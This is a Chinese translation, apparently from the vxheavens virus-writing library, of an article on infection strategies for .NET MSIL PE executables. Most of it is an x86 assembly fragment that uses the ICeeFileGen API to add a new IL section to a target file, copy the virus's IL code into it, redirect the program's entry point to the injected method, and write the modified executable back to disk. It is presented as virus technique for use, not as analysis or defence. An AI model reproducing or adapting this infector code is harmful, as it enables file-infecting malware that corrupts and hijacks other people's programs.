MSIL-PE-EXE 感染策略
排版有点乱,感兴趣的朋友还是看附件里面的word文档吧.
翻译 by littlewisp 2010-02-06
不妥之处,敬请指出。
http://vxheavens.com/lib/vbe00.html
在我的上一篇关于.NET平台的文章“Microsoft .NET Common Language Runtime Overview”中,我介绍了.NET 平台Beta2给我们提供的技术。演示了一个用C#写的针对.NET程序的感染者(叫做”Donut” by Averz)。发布Beta2不久之后微软发布了新的Visual Studio .NET版本。从发布Beta2那时起基本上没改变,该版本跟Beta2版本差别不大。但我有更多的时间,文挡和知识来探索该环境。
;we also have to write new IL code to our file. we will reserve a place in PE
;file (so called "section") and copy there our data. everything is done in
;memory, all datas are flushed on disk at final stage.
push [file_handle]
call [edi.ICeeFileGen_LinkCeeFile]
;before we will start to work with addresses
;we have to re-link program in memory
push offset il_section
push [file_handle]
call [edi.ICeeFileGen_GetIlSection]
;request section for IL code
push offset il_section_rva
push [il_section]
call [edi.ICeeFileGen_GetSectionRVA]
;we have to know RVA of section
push offset raw_il_section
push 1
push 4
push [il_section]
call [edi.ICeeFileGen_GetSectionBlock]
;allocate 4 bytes. we won't use them, it is
;only a trick to get offset in section
push offset il_section_offset
push [raw_il_section]
push [il_section]
call [edi.ICeeFileGen_ComputeSectionOffset]
;now we know offset in our section
pushad
mov esi,offset IL_code ;address of IL code of our new method
mov edi,12345678h ;target memory address
raw_il_section = dword ptr $-4
mov ecx,IL_code_size ;size of IL code
rep movsb ;copy IL code to file
popad
... ;other stuff defining parameters of linking
push [mdToken]
push [file_handle]
call [edi.ICeeFileGen_SetEntryPoint]
;set entrypoint to our new method
push [pEmit]
push [file_handle]
call [edi.ICeeFileGen_EmitMetaDataEx]
;write metadata to file
push [file_handle]
call [edi.ICeeFileGen_LinkCeeFile]
;re-link PE file in memory
push [file_handle]
call [edi.ICeeFileGen_GenerateCeeFile]
;write PE file to disk
push offset file_handle
call [edi.ICeeFileGen_DestroyCeeFile]
;unitialize object
push offset ICeeFileGen
call esi ;release object from memory
push ebx
call FreeLibrary ;release library from memory